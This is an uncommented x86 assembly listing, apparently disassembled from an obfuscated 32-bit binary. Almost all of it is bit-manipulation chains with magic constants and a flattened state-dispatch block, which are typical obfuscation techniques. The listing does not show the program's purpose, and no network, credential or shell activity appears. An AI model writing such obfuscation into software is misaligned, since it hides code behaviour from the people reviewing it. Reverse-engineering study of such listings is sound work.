xor eax, 0xe5b4b5d1
mov ebp, eax
and ebp, 0x41a8aa94
and ecx, 0xbe57556b
or ecx, ebp
xor ecx, edi
or eax, edi
xor ecx, 0xbe57556b
not eax
or eax, ecx
mov ecx, edx
mov ebp, edx
mov dword [esp + 0xc], edx
not ecx
mov dword [esp], ecx
or ecx, 0x63ac6e82
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
or ecx, esi
not ecx
or edx, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0xf45644db
and eax, 0xba9bb24
or eax, ecx
mov ecx, edx
not ecx
xor eax, ecx
xor eax, 0xba9bb24
and eax, edx
and ecx, 0xe29a8f57
and edx, 0x1d6570a8
or edx, ecx
xor edx, 0xe29a8f57
or edx, edi
mov esi, edx
mov edx, dword [esp + 4]
xor edx, 0x372e0369
and edx, ebx
mov ecx, ebx
not esi
or esi, eax
mov dword [esp + 4], esi
mov eax, dword [esp + 8]
and eax, 0xdf85e043
and ecx, 0x207a1fbc
or ecx, eax
mov eax, dword [esp]
and eax, 0x47ffa03a
mov edi, ebp
and edi, 0xb8005fc5
or edi, eax
mov ebp, ecx
xor ebp, 0x207a1fbc
mov ebx, ecx
xor ebx, 0xc60a5bde
and ebx, ebp
mov eax, ebx
not eax
mov esi, eax
and esi, 0x63637447
and ebx, 0x9c9c8bb8
or ebx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x63637447
and edx, 0x9c9c8bb8
or edx, esi
xor edx, ebx
not eax
or eax, edx
mov esi, edi
xor esi, 0xb8005fc5
xor edi, 0x47ffa03a
mov ebx, edi
or ebx, 0x60500022
and ebx, 0x70d983aa
mov edx, esi
and edx, 0x9063815
or edx, ebx
mov ebx, dword [esp]
or ebx, 0x10898388
and ebx, 0x70d983aa
mov dword [esp], ebx
mov ebx, dword [esp + 0xc]
and ebx, 0x86204440
add ebx, dword [esp]
xor ebx, eax
xor ebx, edx
xor ecx, 0xdf85e043
mov eax, ecx
and eax, 0x50fdf84f
and ebp, 0xaf0207b0
or ebp, eax
or ecx, edi
and edi, 0x50fdf84f
and esi, 0xaf0207b0
or esi, edi
xor esi, ebp
not ecx
or ecx, esi
mov eax, ecx
not eax
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x2b72aba6
and ebx, 0xd48d5459
or ebx, edx
or ebp, ecx
and ecx, 0x2b72aba6
and eax, 0xd48d5459
or eax, ecx
xor eax, ebx
not ebp
or ebp, eax
mov edi, ebp
not edi
mov ecx, dword [esp + 4]
mov eax, ecx
not eax
and ebp, 0x8053f442
mov esi, edi
and esi, 0x7fac0bbd
or esi, ebp
mov edx, esi
xor edx, 0x7fac0bbd
mov ebx, eax
and ebx, 0x9d1a43ee
mov ebp, ecx
xor ecx, 0x9d1a43ee
and ecx, ebp
or ecx, ebx
mov ebx, esi
xor ebx, 0x1d49b7ac
and ebx, edx
and edi, 0x62e5bc11
or edi, ebx
mov ebx, edi
xor ebx, edi
not ebx
and ebx, ecx
xor ebx, edi
xor esi, 0x8053f442
mov ecx, ebp
and ecx, 0xf72ae5b5
and eax, 0x8d51a4a
or eax, ecx
or ebp, esi
and esi, 0xf72ae5b5
and edx, 0x8d51a4a
or edx, esi
xor edx, eax
not ebp
or ebp, edx
not ebp
or ebp, ebx
mov edx, ebp
not edx
mov eax, edx
and eax, ebp
mov ecx, eax
not ecx
mov esi, ebp
and esi, 0x5f5ab070
mov edi, edx
and edi, 0xa0a54f8f
or edi, esi
mov esi, ebp
or esi, ecx
and ecx, 0x5f5ab070
and eax, 0xa0a54f8f
or eax, ecx
xor eax, edi
not esi
or esi, eax
mov eax, esi
not eax
and esi, 0xa046f455
and eax, 0x5fb90baa
or eax, esi
mov esi, eax
xor esi, 0xa046f455
xor eax, 0x1b110280
mov ecx, edx
and ecx, 0xb8651c6a
mov edi, ebp
and edi, 0x479ae395
or edi, ecx
mov ebx, edi
xor ebx, 0x479ae395
xor edi, 0xa0211460
and edi, 0xe221b4f4
mov ecx, ebx
and ecx, 0x1dde4b0b
or ecx, edi
xor ecx, 0x1dde4b0b
or ecx, ebx
mov edi, esi
or edi, ecx
not edi
and esi, 0xe4a8a96a
and eax, 0x1b575695
or eax, esi
xor eax, ecx
xor eax, 0x1b575695
or eax, edi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0xb1c65f3f
and eax, 0x4c2800c0
and edi, 0x211a000
or edi, eax
xor edi, 0x211a000
or edi, ecx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xb1c65f3f
and edi, 0x4e39a0c0
or edi, eax
xor ecx, edi
and ecx, edi
mov dword [esp], ecx
and edx, 0x3658f4dc
and ebp, 0xc9a70b23
or ebp, edx
mov edx, ebp
xor edx, 0x80020001
mov eax, ebp
xor eax, 0x3658f4dc
mov ecx, eax
and ecx, 0x5fad3b2a
and edx, 0xa052c4d5
or edx, ecx
mov edi, edx
xor edi, 0x11949bea
or eax, 0xa1c20c0c
xor ebp, 0x48000000
and ebp, 0x4a100080
and eax, 0xa5ebac4c
or eax, ebp
mov ecx, eax
xor ecx, 0x4098040
xor edx, 0xee6b6415
xor eax, 0x5a1453b3
mov ebx, edx
and ebx, 0xd8a26ba4
and edi, 0x275d945b
or edi, ebx
or edx, eax
and eax, 0xd8a26ba4
and ecx, 0x6198040
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xc5c3d278
mov edi, edx
and edi, 0x3a3c2d87
or edi, ecx
mov ecx, edi
xor ecx, 0x10100800
xor edi, 0xc00210
or eax, 0x20c02794
or edi, 0x2264020
and edi, 0x22e667b4
and ecx, 0x15110840
or ecx, edi
and eax, 0x22e667b4
and edx, 0xc808900b
or edx, eax
xor edx, ecx
mov esi, edx
xor esi, 0xca2ed02b
mov eax, edx
xor eax, 0x35d12fd4
xor edx, 0x377f61c1
and edx, eax
and eax, 0x6c56ad23
mov ebx, esi
and ebx, 0x93a952dc
or ebx, eax
mov eax, ebx
xor eax, 0x93a952dc
mov ecx, dword [esp]
mov edi, ecx
not edi
and eax, edi
xor ebx, 0x6c56ad23
and ebx, ecx
or ebx, eax
mov eax, ebx
xor eax, edi
and eax, ebx
mov ebx, edi
and ebx, 0x64413160
mov ebp, ecx
and ebp, 0x9910808a
or ebp, ebx
mov ebx, ebp
xor ebx, 0x8010008a
xor ebp, 0x624b1b25
or edi, 0x79419120
and esi, 0x2ae4e15
or esi, edx
and ebp, 0x7b4b9b25
and ebx, 0x841020ca
or ebx, ebp
and edi, 0x7b4b9b25
and ecx, 0xa44410
or ecx, edi
xor ecx, ebx
mov edx, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edx
xor ecx, esi
mov edi, eax
not edi
mov dword [esp], edi
mov ebx, ecx
not ebx
and edi, 0x82a39976
mov edx, eax
xor edx, 0x82a39976
and edx, eax
or edx, edi
mov dword [esp + 4], edx
mov edi, ecx
xor edi, 0x82a39976
and edi, ebx
mov ebp, edi
not ebp
mov esi, ebp
and esi, 0xfb18eace
and edi, 0x4e71531
or edi, esi
mov esi, ebx
or esi, 0x82a39976
or ebp, esi
and esi, 0xfb18eace
mov edx, ecx
and edx, 0x4440401
or edx, esi
xor edx, edi
not ebp
or ebp, edx
mov edi, ebp
xor edi, ebp
not edi
and edi, dword [esp + 4]
xor edi, ebp
mov edx, eax
and edx, 0xb7079155
mov esi, dword [esp]
and esi, 0x48f86eaa
or esi, edx
or eax, ecx
and ecx, 0xb7079155
and ebx, 0x48f86eaa
or ebx, ecx
xor ebx, esi
not eax
or eax, ebx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x1aac6d59
and edi, 0xe55392a6
or edi, edx
xor edi, eax
xor edi, 0xe55392a6
or ecx, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
mov edx, eax
and edx, 0xe1809942
mov esi, ecx
and esi, 0xd6410
or esi, edx
mov edx, esi
xor edx, 0xfff29bef
mov edi, ecx
xor edi, 0xe18dfd52
and edi, ecx
mov ebx, edi
not ebx
mov ebp, edx
and ebp, 0xac4182
and esi, 0x1008840
or esi, ebp
or edx, ebx
and ebx, 0xac4182
and edi, 0x140884c
or edi, ebx
xor edi, esi
not edx
or edx, edi
and edx, 0x1ecc9ce
mov esi, edx
xor esi, 0x60008c
xor edx, 0x9389e122
and esi, 0x640844
and edx, 0x9389e1aa
or esi, edx
xor esi, 0x9389e1aa
or edx, 0x20100001
mov edi, eax
and edi, 0xba867592
and ecx, 0x45798a6d
or ecx, edi
xor ecx, 0xbb6abc5c
xor eax, ecx
and eax, ecx
mov edi, eax
not edi
mov ecx, esi
xor ecx, edi
and ecx, esi
and edx, 0x3018c0a3
and esi, 0x1e4094c
or esi, edx
and edi, 0x3018c0a3
and eax, 0xcfe73f5c
or eax, edi
xor eax, esi
or eax, ecx
mov ecx, eax
xor ecx, 0xb02a96f1
xor eax, 0x4fd5690e
mov edx, eax
and edx, 0x42795088
mov esi, ecx
and esi, 0xbd86af77
or esi, edx
mov edx, esi
xor edx, 0x9848066
xor esi, 0x40484080
and esi, 0xf44a6f91
and edx, 0xbb5906e
or edx, esi
mov esi, edx
xor esi, 0xb0400010
xor edx, 0xbb5906e
and esi, 0xb3e10054
mov edi, edx
and edi, 0x4c1effab
or edi, esi
xor edi, 0x31aee303
and edx, 0x824fe357
or edx, edi
mov ebx, edx
not ebx
mov esi, edx
and esi, 0xe9ba5abb
xor edx, 0x394d7f34
and edx, ebx
and ebx, 0x1645a544
or ebx, esi
mov esi, ebx
xor esi, 0x1645a544
xor ebx, 0x2f08da70
and ebx, esi
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xad125aad
and ebx, 0x52eda552
or ebx, ebp
mov ebp, edx
not ebp
or edi, ebp
and ebp, 0xad125aad
and edx, 0x52eda552
or edx, ebp
xor edx, ebx
mov ebx, eax
or ebx, 0x7db01ca8
not edi
or edi, edx
mov edx, ebx
xor edx, 0x482000
or esi, ebx
xor ebx, 0x2020042
and ebx, 0x33074356
and edx, 0x84d8a089
or edx, ebx
xor edx, edi
mov edi, edx
xor edi, 0x41050252
xor edx, 0x8cd8bca9
mov ebx, edx
and ebx, 0x3ee25d8c
and edi, 0xc11da273
or edi, ebx
or edx, esi
and esi, 0xbeefffdf
xor esi, edi
xor esi, 0x800da253
not edx
or edx, esi
xor edx, 0x7db01ca8
and eax, 0x5ddbfcba
and ecx, 0xa2240345
or ecx, eax
mov eax, ecx
xor eax, 0x20000104
xor ecx, 0x5ddbfcba
mov esi, edx
or esi, ecx
not esi
and ecx, 0xd2fdeedb
and eax, 0x2d021124
or eax, ecx
xor eax, edx
xor eax, 0x2d021124
or eax, esi
xor eax, 0xffffffff
setne cl
sete ch
cmp dword [0x10047904], 0xa
setge dh
setl al
mov dl, al
or dl, ch
mov ah, ch
mov bh, dh
inc bh
mov bl, bh
and bl, dh
xor bh, bl
xor bl, 1
or bl, dh
xor bl, 1
or bl, bh
mov bh, bl
xor bh, ch
or bl, ch
and bl, bh
mov bh, bl
xor bh, ch
or bl, ch
or ch, dh
xor ah, dh
not ah
and ah, dh
xor ah, 1
mov dh, ah
xor dh, ch
or ah, ch
xor dl, 1
xor ah, 1
or ah, dh
mov ch, dl
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
xor ah, 1
or ah, ch
mov dl, ah
xor dl, 1
and dl, ah
xor dl, 1
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and dl, ah
xor dl, 1
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor bl, 1
or bl, bh
mov dh, bl
xor dh, 1
mov ah, al
or ah, cl
xor ah, 1
xor al, cl
or al, ah
mov ecx, eax
xor cl, 1
mov ch, dh
xor ch, cl
and al, dh
or dh, cl
and cl, bl
mov ah, dl
xor ah, 1
or cl, al
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
mov al, cl
mov dh, ch
xor dh, cl
and dh, ch
and cl, ch
xor ch, 1
xor al, 1
and al, ch
or cl, al
xor dh, 1
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
mov ch, cl
xor ch, 1
mov dh, ch
and dh, cl
xor dh, 1
mov al, cl
xor al, dh
or dh, cl
xor dh, 1
or dh, al
mov al, ah
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, ah
xor al, dh
mov dh, al
xor dh, 1
and dh, dl
or cl, ah
xor ch, ah
and ch, ah
and ah, al
or dh, ah
xor al, dh
and al, dh
xor cl, 1
or ch, cl
mov edx, eax
xor dl, 1
mov cl, dl
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov dl, ch
or dl, al
xor al, ch
and al, dl
mov edx, ecx
xor dl, ch
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x4f2567c7
mov esi, 0x6d6c31f7
cmovne ecx, esi
test dl, 1
mov edi, 0x4f2567c7
cmovne edi, ecx
jmp 0x1001cf3e
cmp edi, 0x95649687
je 0x100219e4
cmp edi, 0x9d67bf76
jne 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0x1bc29926
mov ecx, edx
mov ebx, edx
mov dword [esp], edx
and ecx, 0xe43d66d9
or ecx, eax
mov edx, ecx
xor edx, 0xa408102
xor ecx, 0x24112608
and ecx, 0x35933e2c
and edx, 0xca6cc1d3
or edx, ecx
mov esi, edx
xor esi, 0xca6cc1d3
mov eax, ebx
and eax, 0x413c8184
mov ecx, edi
mov dword [esp + 4], edi
and edi, 0xbec37e7b
or edi, eax
xor edi, 0xbec37e7b
or edi, ecx
mov ebx, edi
not ebx
mov eax, edx
xor eax, 0x20011200
and eax, 0x226dd250
xor edx, 0x2f18b47b
and edx, esi
and esi, 0xdd922daf
or esi, eax
mov eax, edi
and eax, 0xf953d4cd
xor edi, 0x1a8b8a57
and edi, ebx
and ebx, 0x6ac2b32
or ebx, eax
mov ecx, esi
xor ecx, 0xdd922daf
mov dword [esp + 0xc], ecx
mov eax, esi
xor eax, 0xc719a7f8
and eax, ecx
or edx, eax
mov ecx, ebx
xor ecx, 0xf953d4cd
mov dword [esp + 8], ecx
or ecx, 0x1a8b8a57
mov eax, ebx
xor ebx, 0x4202020
mov ebp, ecx
and ebp, 0x71541392
and ebx, 0x84206428
or ebx, ebp
mov ebp, edi
not ebp
or ecx, ebp
and ebp, 0x71541392
and edi, 0x8eabec6d
or edi, ebp
xor edi, ebx
not ecx
or ecx, edi
xor ecx, edx
xor esi, 0x226dd250
mov edx, esi
and edx, 0x12e070f8
mov edi, dword [esp + 0xc]
and edi, 0xed1f8f07
or edi, edx
xor eax, 0x40c0b02
mov edx, dword [esp + 8]
or esi, edx
and edx, 0x12e070f8
and eax, 0xed1f8f07
or eax, edx
xor eax, edi
not esi
or esi, eax
not esi
or esi, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x659e844d
and eax, esi
and esi, 0x9a617bb2
or esi, ecx
xor esi, 0x9a617bb2
or esi, eax
mov ecx, esi
not ecx
and esi, 0x8012f7f1
and ecx, 0x7fed080e
or ecx, esi
mov eax, ecx
xor eax, 0x77c00000
xor ecx, 0x2e4d0
and ecx, 0x82fecde
and eax, 0xf7d01321
or eax, ecx
mov esi, eax
xor esi, 0x8c894
xor eax, 0xb0000101
and eax, 0xb827254b
and esi, 0x47d8dab4
or esi, eax
mov edx, esi
xor edx, 0x47d8dab4
xor esi, 0xb827254b
mov edi, dword [esp + 4]
mov eax, edi
and eax, 0x8bfff379
mov ebp, dword [esp]
mov ecx, ebp
and ecx, 0x74000c86
or ecx, eax
xor ecx, 0x74000c86
mov eax, edi
and eax, ebp
or eax, ecx
and edi, 0x27d9729f
and ebp, 0xd8268d60
or ebp, edi
mov ecx, ebp
xor ecx, 0xd8268d60
xor ebp, 0x27d9729f
and ebp, eax
not eax
and ecx, eax
or ebp, ecx
not ebp
or ebp, eax
mov ecx, ebp
not ecx
mov eax, ebp
xor ebp, esi
mov edi, esi
and edi, 0xeae0ab4e
mov esi, edx
and esi, 0x151f54b1
or esi, edi
mov edi, esi
xor edi, 0x14131000
xor esi, 0xeae0ab4e
mov ebx, esi
and ebx, 0x836ccff7
and edi, 0x7c933008
or edi, ebx
mov ebx, ecx
and ebx, 0x836ccff7
and eax, 0x7c933008
or eax, ebx
xor eax, edi
or esi, ecx
not esi
or esi, eax
and ebp, ecx
xor ecx, edx
and ecx, edx
or ecx, ebp
mov eax, ecx
and ecx, esi
not esi
not eax
mov edx, esi
xor edx, eax
and edx, esi
and eax, esi
or eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x810a2002
mov edi, eax
mov esi, eax
mov dword [esp], eax
and edi, 0x52c044c9
or edi, ecx
xor edi, 0x52c044c9
and esi, 0x2c359b34
or esi, edi
mov ecx, esi
xor ecx, 0x24110814
xor esi, 0x80ca00c2
and ecx, 0x77116c1d
and esi, 0x88ee93e2
or esi, ecx
mov ecx, esi
xor ecx, 0x23112411
xor esi, 0x888611c2
and esi, 0xdc8659ce
and ecx, 0x2379a631
or ecx, esi
mov edi, ecx
mov esi, ecx
xor esi, 0xdc8659ce
xor ecx, 0xfbd31891
mov ebp, ecx
and ebp, esi
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x988f1a2f
and ebp, 0x6770e5d0
or ebp, eax
xor edi, 0x2379a631
and ecx, edi
mov eax, ecx
not eax
or ebx, eax
and eax, 0x988f1a2f
and ecx, 0x6770e5d0
or ecx, eax
xor ecx, ebp
not ebx
or ebx, ecx
xor ebx, 0xd8aabea0
and edi, 0x8ff13ec2
mov eax, esi
and eax, 0x700ec13d
or eax, edi
xor eax, 0x700ec13d
or eax, esi
not eax
or eax, ebx
mov edi, eax
mov ecx, eax
mov esi, eax
not ecx
mov eax, ecx
mov ebx, ecx
mov dword [esp + 4], ecx
and eax, 0x2008182c
and edi, 0x9a045d0
or edi, eax
mov ecx, edi
xor ecx, 0x9a00040
xor edi, 0xf65fba2f
mov eax, edi
and eax, 0x3410df97
and ecx, 0x9a80068
or ecx, eax
mov eax, esi
xor eax, 0x29a85dfc
and eax, esi
mov ebp, esi
mov dword [esp + 8], esi
mov esi, eax
not esi
or edi, esi
and esi, 0x3410df97
and eax, 0xcbef2068
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, ecx
mov esi, ecx
and eax, 0xaeef25a5
and edi, 0x5110da5a
or edi, eax
mov eax, ebp
and eax, 0xaeef25a5
mov ecx, ebx
and ecx, 0x5110da5a
or ecx, eax
xor ecx, edi
xor esi, ecx
and esi, ecx
mov eax, edx
and eax, 0xa0033400
mov edi, dword [esp]
mov ecx, edi
and ecx, 0x350c200
or ecx, eax
xor ecx, 0x350c200
mov ebx, edi
and ebx, 0x5cac09ff
or ebx, ecx
mov ecx, ebx
xor ecx, 0x14045000
xor ebx, 0x8afbabfc
mov eax, ebx
and eax, 0xe9118dc7
and ecx, 0x16ee7238
or ecx, eax
and edi, 0xe9118dc7
and edx, 0x16ee7238
or edx, edi
xor edx, ecx
xor ebx, edx
and ebx, edx
mov dword [esp + 0xc], esi
mov edx, esi
not edx
mov eax, edx
mov dword [esp], edx
and eax, 0x59866c4c
mov ecx, esi
and ecx, 0xa67993b3
or ecx, eax
xor ecx, 0xa67993b3
and edx, esi
or edx, ecx
mov edi, ebx
not edi
mov eax, ebx
and eax, 0x9299ea4f
mov ebp, edi
and ebp, 0x6d6615b0
or ebp, eax
mov dword [esp + 0x10], ebp
xor ebp, 0x6d6615b0
mov eax, edx
xor eax, ebp
and eax, edx
mov dword [esp + 0x14], eax
mov ecx, ebp
and ebp, edx
mov eax, edx
not edx
mov esi, edx
and esi, 0xa184cea3
and eax, 0x86b2010
or eax, esi
mov esi, dword [esp + 0x10]
xor esi, 0x9299ea4f
and ecx, 0xa82b6ea0
and edx, esi
mov dword [esp + 0x10], edx
and esi, 0x1c48013
or esi, ecx
mov edx, esi
xor edx, 0x1000003
or edx, 0x54000044
xor esi, 0x8004800
and esi, 0x8c4c810
and edx, 0xf52b26e7
or edx, esi
mov esi, edi
and esi, 0xa9efeeb3
and ebx, 0x5610114c
or ebx, esi
xor edi, ebx
and edi, ebx
mov dword [esp + 0x1c], edi
mov esi, eax
xor esi, 0x86b2010
or esi, 0x5610114c
mov ebx, esi
not ebx
and esi, 0xc698cfe3
xor eax, 0x9e70c01
and eax, ebx
and ebx, 0x29672010
or ebx, esi
mov esi, ebx
xor esi, 0x3967301c
xor ebx, 0x6afb0d49
and ebx, esi
mov ecx, dword [esp]
or ecx, 0xa9efeeb3
mov esi, ecx
xor esi, 0x539c3d55
and esi, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x58bc8744
and ebx, 0xa14368bb
or ebx, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0x5cbc8744
and eax, 0xa14368b3
or eax, edi
xor eax, ebx
not ecx
or ecx, eax
mov eax, esi
not eax
mov edi, eax
and edi, 0x18c255d
and esi, 0x5e319000
or esi, edi
mov ebx, dword [esp]
or ebx, 0xadefeebb
or eax, ebx
and ebx, 0xa1ce67ff
mov edi, dword [esp + 0xc]
and edi, 0x52101000
or edi, ebx
xor edi, esi
not eax
or eax, edi
mov esi, eax
xor esi, eax
not esi
and esi, ecx
xor esi, eax
mov eax, edx
xor eax, 0xf52b26e7
xor edx, 0x8804100
mov ebx, dword [esp + 0x1c]
mov ecx, ebx
not ecx
mov edi, eax
xor edi, ecx
and edi, eax
and edx, 0x9c814105
and eax, 0x216eaeb2
or eax, edx
and ecx, 0x9c814105
and ebx, 0x637ebefa
or ebx, ecx
xor ebx, eax
or ebx, edi
mov ecx, esi
xor ecx, 0x368f567c
and ecx, esi
mov eax, esi
not esi
and esi, 0x4010228
and eax, 0x328e5454
or eax, esi
mov edx, eax
xor edx, 0x10020050
xor eax, 0xcd71abab
mov esi, eax
and esi, 0x63fddf85
and edx, 0x14020078
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x63fddf85
and ecx, 0x9c02207a
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, ebx
not ecx
mov edx, ebx
or edx, 0x41600802
and edx, 0x5362582e
mov esi, ecx
and ecx, 0x248d0650
or ecx, edx
or esi, 0x1202502c
and esi, 0x5362582e
and ebx, 0x8810a181
or ebx, esi
xor ebx, ecx
xor ebx, eax
mov ecx, ebx
mov ebx, dword [esp + 8]
mov eax, ebx
xor eax, 1
and eax, ebx
or ebp, dword [esp + 0x10]
or ebp, dword [esp + 0x14]
xor ebp, ecx
and ecx, ebp
not ebp
or ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebp
mov esi, ecx
and esi, 0x29a85dfd
and ebp, 0xd657a202
or ebp, esi
not ebp
or ebp, ecx
and ecx, 0x40a427b
and edx, 0xfbf5bd84
or edx, ecx
mov ecx, edx
xor ecx, 0x61b11584
xor edx, 0x40a427b
and ecx, 0x65b9179f
mov esi, edx
and esi, 0x9a46e860
or esi, ecx
xor esi, 0xb3eeb59d
and edx, 0xd657a202
or edx, esi
mov esi, edx
not esi
mov ecx, esi
xor ecx, ebp
and ecx, esi
and edx, 0xf43d271c
and esi, 0xbc2d8e3
or esi, edx
xor esi, ebp
xor esi, 0xbc2d8e3
or esi, ecx
mov dword [esp], esi
mov edx, dword [esp + 4]
mov ecx, edx
and ecx, 0x20893196
and ebx, 0xdf76ce69
or ebx, ecx
xor ebx, 0xdf76ce68
mov ecx, ebx
xor ecx, edx
and ecx, ebx
and edx, 1
or eax, edx
mov esi, ecx
not esi
mov edi, eax
not edi
and eax, esi
or esi, edi
and edi, ecx
or edi, eax
mov edx, edi
not edx
mov eax, edx
and eax, 0x9c6923f4
and edi, 0x6396dc0b
or edi, eax
xor edi, esi
xor edi, 0x6396dc0b
or edx, esi
not edx
or edx, edi
mov ecx, edx
or ecx, 0xdcaaf65d
mov edi, ecx
not edi
mov eax, edx
not eax
mov esi, edx
and esi, 0xedfb172b
mov ebx, eax
and ebx, 0x1204e8d4
or ebx, esi
xor ebx, 0xceae1e89
and eax, 0x235509a2
or eax, ebx
mov esi, eax
not esi
and ecx, 0xa7a16c15
xor edx, 0x20100822
and edx, edi
and edi, 0x5401a2
or edi, ecx
and eax, 0xd59eb466
mov ecx, esi
mov ebp, esi
and ebp, 0x2a614b99
or ebp, eax
mov esi, ebp
xor esi, 0x2a614b99
mov eax, ebp
xor eax, 0xd6f1e1e3
and eax, esi
and ecx, 0xfc90aa7a
or ecx, eax
mov dword [esp + 4], ecx
mov eax, edi
xor eax, 0xa7a16c15
mov ebx, eax
or ebx, 0xfc90aa7a
mov ecx, ebx
and ecx, 0x6bd401e0
mov dword [esp + 8], edi
and edi, 0x10405
or edi, ecx
mov ecx, edx
not ecx
or ebx, ecx
and ecx, 0x6bfe51e0
and edx, 0x10802
or edx, ecx
xor edx, edi
not ebx
or ebx, edx
mov edx, dword [esp + 8]
xor edx, 0x1012920a
xor ebx, dword [esp + 4]
xor ebp, 0xd59eb466
mov ecx, eax
and ecx, 0x224501a0
and edx, 0x1532fe0b
or edx, ecx
or eax, ebp
and ebp, 0xeacd01f4
and esi, 0x1532fe0b
or esi, ebp
xor esi, edx
not eax
or eax, esi
not eax
or eax, ebx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xb592c8c6
mov esi, eax
and esi, 0x4a6d3739
or esi, ecx
mov ecx, esi
xor ecx, 0x40001419
xor esi, 0x80008044
or edx, 0x8828a244
or esi, 0x20110822
and esi, 0xa839aa66
and ecx, 0x54825419
or ecx, esi
and edx, 0xa839aa66
and eax, 0x3440180
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x231c9002
mov esi, eax
or esi, 0xd8604c40
and esi, 0xfb7cdc42
and ecx, 0x4022239
or ecx, esi
and edx, 0xfb7cdc42
and eax, 0x810184
or eax, edx
xor eax, ecx
mov edx, eax
xor edx, 0xd8e14dc4
xor eax, 0x271eb23b
mov ecx, eax
and ecx, edx
and eax, 0x235a6ad
and edx, 0xfdca5952
or edx, eax
xor edx, 0x235a6ad
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x75ad2de7
and eax, edx
and edx, 0x8a52d218
or edx, ecx
xor edx, 0x8a52d218
or edx, eax
mov ebp, dword [esp]
mov esi, ebp
and esi, edx
mov eax, edx
mov edi, edx
xor edi, 0x33e0787d
and edi, edx
mov ebx, edx
not ebx
mov ecx, ebp
not ecx
mov edx, ebx
and edx, ecx
or esi, edx
not esi
or esi, ecx
mov edx, ebp
xor edx, 0x33e0787d
and edx, ebp
and ebx, 0x30605034
and eax, 0x3802849
or eax, ebx
or ebp, 0xcc1f8782
mov ebx, ebp
and ebx, 0x230bb52f
and ecx, 0x10e04850
or ecx, ebx
mov ebx, edx
not ebx
or ebp, ebx
and ebx, 0x230bb52f
and edx, 0xdcf44ad0
or edx, ebx
mov ebx, esi
not ebx
xor edx, ecx
mov ecx, eax
xor ecx, 0x800809
xor eax, 0xfc7fd7b6
not ebp
or ebp, edx
mov edx, eax
and edx, 0xfb32e3c6
and ecx, 0xc01839
or ecx, edx
mov edx, edi
not edx
or eax, edx
and edx, 0xfb32e3c6
and edi, 0x4cd1c39
or edi, edx
xor edi, ecx
not eax
or eax, edi
mov edi, eax
xor edi, eax
not edi
and edi, ebp
xor edi, eax
and esi, 0xe37996f0
mov ebp, ebx
mov eax, ebx
and eax, 0x1c86690f
or eax, esi
mov ecx, eax
mov esi, eax
mov dword [esp], eax
xor ecx, 0x1c86690f
mov edx, ecx
mov dword [esp + 4], ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x4e02290b
mov ebx, edi
and ebx, 0xb1fdd6f4
or ebx, ecx
mov ecx, esi
xor ecx, 0x9fb8b0ff
and ecx, edx
mov edx, ebp
and edx, 0x833ed9f0
or edx, ecx
mov dword [esp + 8], edx
mov edx, ebx
xor edx, 0xb1fdd6f4
mov esi, ebx
xor esi, 0x32c30f04
and esi, edx
mov ebp, esi
not ebp
mov ecx, ebp
and ecx, 0x9e493d35
and esi, 0x61b6c2ca
or esi, ecx
or eax, 0x7cc1260f
or ebp, eax
and eax, 0x9e493d35
and edi, 0x136c0c0
or edi, eax
xor edi, esi
not ebp
or ebp, edi
mov eax, ebp
xor eax, ebp
not eax
and eax, dword [esp + 8]
xor eax, ebp
mov esi, dword [esp]
xor esi, 0xe37996f0
xor ebx, 0x4e02290b
mov ecx, esi
and ecx, 0xfa7452db
mov edi, dword [esp + 4]
and edi, 0x58bad24
or edi, ecx
or esi, ebx
and ebx, 0xfa7452db
and edx, 0x58bad24
or edx, ebx
xor edx, edi
not esi
or esi, edx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
mov ebx, eax
and ecx, 0x49dcaac0
mov eax, esi
and eax, 0xb623553f
or eax, ecx
mov ecx, eax
xor ecx, 0xa402403d
xor eax, 0x49dcaac0
mov edx, ebx
and edx, esi
mov ebp, esi
mov dword [esp], esi
mov esi, edx
not esi
mov edi, eax
and edi, 0x53693542
and ecx, 0xac96cabd
or ecx, edi
or eax, esi
and esi, 0x53693542
and edx, 0xac96cabd
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov esi, eax
not esi
and eax, 0x94735b1a
mov ecx, esi
and ecx, 0x6b8ca4e5
or ecx, eax
xor ecx, 0xa04ee552
and esi, 0x343dbe48
or esi, ecx
mov eax, ebp
